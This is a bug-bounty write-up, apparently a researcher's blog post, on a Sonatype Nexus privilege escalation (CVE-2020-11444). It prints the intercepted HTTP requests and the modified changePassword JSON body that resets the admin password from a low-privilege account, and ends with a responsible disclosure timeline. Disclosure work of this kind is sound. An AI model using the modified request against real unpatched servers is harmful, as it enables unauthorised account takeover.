In this time of COVID-19, social distancing, stay at home, shelter in place, and all the other things that force us to really do nothing outside the home, I have spent more time bug hunting.
There are a few programs that I really enjoy analyzing due to their quick response, application complexities, and lower researcher engagements. On the gloomy Sunday of March 15, I was on a bug hunt and notified through email that I was in the top 5 researchers for the bounty program on which I was hunting. In recognition of my achievement, I was invited to their “super-secret” program to look at their Sonatype Nexus setup.
This sounded great to me, as there would be even less eyes on it than the normal private bounty offer. I started going through the application. An area where I typically spend time is privilege escalation—which I feel is one of my strengths. One of the ways that I analyze privilege escalation is by creating an admin-level user and forming a very basic or read-only user. As the user provided to me for testing was already an admin user, all I had to do was create the very basic user.
But I encountered a problem: The very basic user had no functionality assigned to it, including the ability to change its own password—a common piece of functionality to which all users need access. At this point, I began digging into the permissions model provided by Sonatype Nexus and realized it was extremely granular and that it had a privilege for almost everything. Cool! As I dug around, I uncovered the privilege to which I needed to assign my new user—nx-userschangepw. This enabled me to change the user’s password. This is where the fun began.
Creating a New User Role
To create a new user role, I logged into Sonatype Nexus as an administrative user and clicked on the “Security” dropdown in the left pane and clicked on “Roles.” From there, I added a new role named mynewuserrole and added the nx-userschangepw privilege to the role. This privilege allows users to change their passwords. With the appropriate privilege assigned to the new role, I clicked the “Create Role” button.
Figure 1: Create new user role with the nx-userschangepw privilege.
Creating a New User
Now that I had a new user role, I needed to create a new user and add that user to the role. To do so, I clicked the “Security” dropdown in the left pane and selected “Users.” Here, I clicked “Create Local User,” created a new user named mynewuser, and added the new user role mynewuserrole to the user.
Figure 2: Create a new user with the mynewuserrole role.
Logging Into Sonatype Nexus as the New User
Now that I had created a new user, I needed to log out of Nexus and then log back in as the mynewuser user. When I logged in as the new user, I could see the user had no options to do anything other than click on their user account name or log out.
Figure 3: Logged in as mynewuser with no options.
Changing the User Password
I clicked on the mynewuser name in the upper right of the screen, which brought me to a new screen where I was able to change the user password. I clicked the “Change Password” button and was prompted to enter a new password and confirm it.
Figure 4: Change the password of the user.
After entering the new password twice and clicking “Change Password,” I was prompted for my current password.
Figure 5: Enter the current password of the user.
Intercepting, Examining, and Modifying an HTTP Request
At this point, I needed to ensure that I had my Burp proxy set to intercept HTTP requests. After I confirmed so, I entered the current user’s password and clicked “Authenticate.” The first request to the system looked something like this:
POST /service/extdirect HTTP/1.1
Host: aplace
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 0.3586276590363704
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 120
Origin: https://aplace
Connection: close
Referer: https://aplace
Cookie: lotsofcookies
{"action":"rapture_Security","method":"authenticationToken","data":["base64account","base64password"],"type":"rpc","tid":9}
The base64account and base64password were just the current user’s username and password in a Base64 encoded format. Nothing else here to note. The response to this authenticationToken request looked similar to this:
HTTP/1.1 200 OK
Date: Sat, 04 Apr 2020 13:25:46 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 206
Connection: close
Server: Nexus/3.20.1-01 (OSS)
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Vary: Accept-Encoding
X-Robots-Tag: none
{"tid":10,"action":"rapture_Security","method":"authenticationToken","result":{"success":true,"data":"alongtoken"},"type":"rpc"}
The response included the alongtoken, which was a long, seemingly unique token generated on the server side from the original authenticationToken request. Again, nothing to note. From here, a new request was immediately sent with the returned alongtoken value:
POST /service/extdirect HTTP/1.1
Host: aplace
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 0.3586276590363704
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: https://aplace
Connection: close
Referer: https://aplace
Cookie: lotsofcookies
{"action":"coreui_User","method":"changePassword","data":["alongtoken ","mynewuser","apassword"],"type":"rpc","tid":11}
Notice the authenticationToken, username, new password were included in the request that was sent. Huzzah! This was very interesting to me. Surely, I couldn’t just change the username to another user’s account and change their password, right? I had to give it a try! In my case, my instance of Sonatype Nexus had an admin username of repoadmin, so I changed the request body to be:
{"action":"coreui_User","method":"changePassword","data":["alongtoken ","repoadmin","apassword"],"type":"rpc","tid":11}
I let the request go to the server. At this point, I logged out of the application and tried to log back in as the repoadmin with the password of apassword. I had successfully compromised the administrator account by changing their password!
Timeline for Discovery, Notification, and Fix
Following is a brief timeline recap on the discovery, notification, and fix:
3/15/2020 |
Discovered vulnerability in a private bug bounty program for an organization using Sonatype Nexus. Vulnerability was submitted to the program.
|
3/16/2020 |
Clarifying questions asked by the bounty program owners and my responses provided.
|
3/17/2020 |
Submission triaged as valid and passed to bounty program owners.
|
3/20/2020 |
Bug confirmed and bounty paid. Was asked by program owner to submit to Sonatype for a fix. Searched for information on how to submit to Sonatype. They had this documented on their site; security issues were to be sent to their security team. I submitted a vulnerability description to Sonatype, which quickly responded with confirmation it had received the report.
|
3/31/2020 |
Reached out to Sonatype for status and asked if the team had any questions. Sonatype responded that it was fixed in version 3.22.0, and that they were waiting on their docs to be updated and a CVE to be issued.
|
4/2/2020 |
Release notes were added for the upgrade to version 3.22.0 and with a specific security advisory, all with attribution. Also, CVE-2020-11444 was added to NVD.
|